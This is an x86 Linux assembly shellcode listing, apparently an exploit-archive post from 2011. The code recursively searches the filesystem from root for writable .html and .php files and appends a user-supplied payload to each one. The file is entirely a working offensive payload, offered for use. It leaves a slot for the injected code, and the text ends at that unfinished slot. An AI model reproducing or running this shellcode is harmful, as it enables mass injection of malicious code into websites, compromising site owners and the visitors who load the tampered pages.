; Title : Linux/x86 Search php,html writable files and add your code.
; Date : 2011-10-24
; Author: rigan - imrigan [sobachka ] gmail.com
; Size : 380 bytes + your code.
;
; Note : This shellcode writes down your code in the end of
; found files. Your code will be added only .html and .php
; files. Search for files is carried out recursively.
BITS 32
section .text
global _start
_start:
;======================================================================;
; main ;
;======================================================================;
; chdir("/")
xor eax, eax
push eax
sub esp, BYTE 0x1
mov BYTE [esp], 0x2f
mov ebx, esp
mov al, 12
int 0x80
xor eax, eax
push eax
sub esp, BYTE 0x1
mov BYTE [esp], 0x2e
jmp SHORT .exit
.jmp_search:
jmp SHORT search
.exit:
call .jmp_search
; exit(0)
xor eax, eax
xor ebx, ebx
mov al, 1
int 0x80
;======================================================================;
; inject ;
;======================================================================;
inject:
; open("file", O_WRONLY)
xor eax, eax
mov ebx, edi
xor ecx, ecx
mov cl, 2
mov al, 5
int 0x80
; lseek(fd, 0, SEEK_END)
xor ebx, ebx
mov ebx, eax
xor ecx, ecx
xor eax, eax
cdq
mov dl, 2
mov al, 19
int 0x80
; write(fd, your_code, sizeof(your_code))
xor eax, eax
mov ecx, esi
mov dl, 43 ; <- TO CHANGE THE SIZE HERE.
mov al, 4
int 0x80
; close(fd)
xor eax, eax
xor ebx, ebx
mov al, 6
int 0x80
ret
;======================================================================;
; substr ;
;======================================================================;
substr:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq
loop_1:
inc edx
; edi contains the filename address
; esi contains the substring address
mov BYTE bl, [edi + edx]
test bl, bl
jz not_found
cmp BYTE bl, [esi]
jne loop_1
loop_2:
mov BYTE al, [esi + ecx]
mov BYTE bl, [edi + edx]
test al, al
jz found
inc ecx
inc edx
cmp bl, al
je loop_2
jmp short not_found
found:
xor eax, eax
mov al, 2
not_found:
ret
;======================================================================;
; search ;
;======================================================================;
;This function recursively find all writable files. [php, html]
search:
push ebp
mov ebp, esp
mov al, 250
sub esp, eax
; open(".", O_WRONLY)
xor eax, eax
xor ecx, ecx
lea ebx, [ebp + 8]
mov al, 5
int 0x80
test eax, eax
js .old_dirent
mov [ebp + 12], eax
.while:
; readdir(fd, struct old_linux_dirent *dirp, NULL)
mov esi, [ebp + 12]
mov ebx, esi
xor eax, eax
xor ecx, ecx
lea ecx, [esp + 100]
mov al, 89
int 0x80
test eax, eax
jnz .l1
; closedir(fd)
xor eax, eax
xor ebx, ebx
mov ebx, esi
mov al, 6
int 0x80
.old_dirent:
; chdir("..")
xor eax, eax
push eax
push WORD 0x2e2e
mov ebx, esp
mov al, 12
int 0x80
leave
ret
.l1:
lea edx, [esp + 110]
cmp DWORD [edx], 0x636f7270 ; If the /proc filesystem detected...
je .while ; ...next dir
cmp BYTE [edx], 0x2e
jne .l2
jmp .while
.l2:
; lstat(const char *file, struct stat *buf)
mov ebx, edx
mov ecx, esp
xor eax, eax
mov al, 196
int 0x80
mov cx, 61439
mov bx, 40959
inc ecx
inc ebx
mov eax, [esp + 16]
and ax, cx
cmp ax, bx
jne .l3
jmp .while
.l3:
xor eax, eax
push eax
sub esp, BYTE 0x1
mov BYTE [esp], 0x2e
; chdir("file")
mov ebx, edx
mov al, 12
int 0x80
test eax, eax
jne .l4
call search
jmp .while
.l4:
; access("file", W_OK)
xor eax, eax
mov ebx, edx
xor ecx, ecx
mov cl, 2
mov al, 33
int 0x80
test eax, eax
jz .check_html
jmp .while
;======================================================================;
; check_html ;
;======================================================================;
.check_html:
xor eax, eax
push eax
push DWORD 0x6c6d7468 ;
sub esp, BYTE 0x1 ; .html
mov BYTE [esp], 0x2e ;
mov esi, esp
mov edi, edx
call substr
cmp BYTE al, 2
je .do_inject
;======================================================================;
; check_php ;
;======================================================================;
.check_php:
xor eax, eax
push eax
push DWORD 0x7068702e ; .php
mov esi, esp
call substr
cmp BYTE al, 2
je .do_inject
jmp .while
;======================================================================;
; do_inject ;
;======================================================================;
.do_inject:
jmp SHORT .your_code
.write:
pop esi ; Get the address of your code into esi
call inject
jmp .while
;======================================================================;
; your_code ;
;======================================================================;
.your_code:
call .write
; Here a place for your code. Its size should be allocated in the
; register dl. Look at the "inject" function.
db '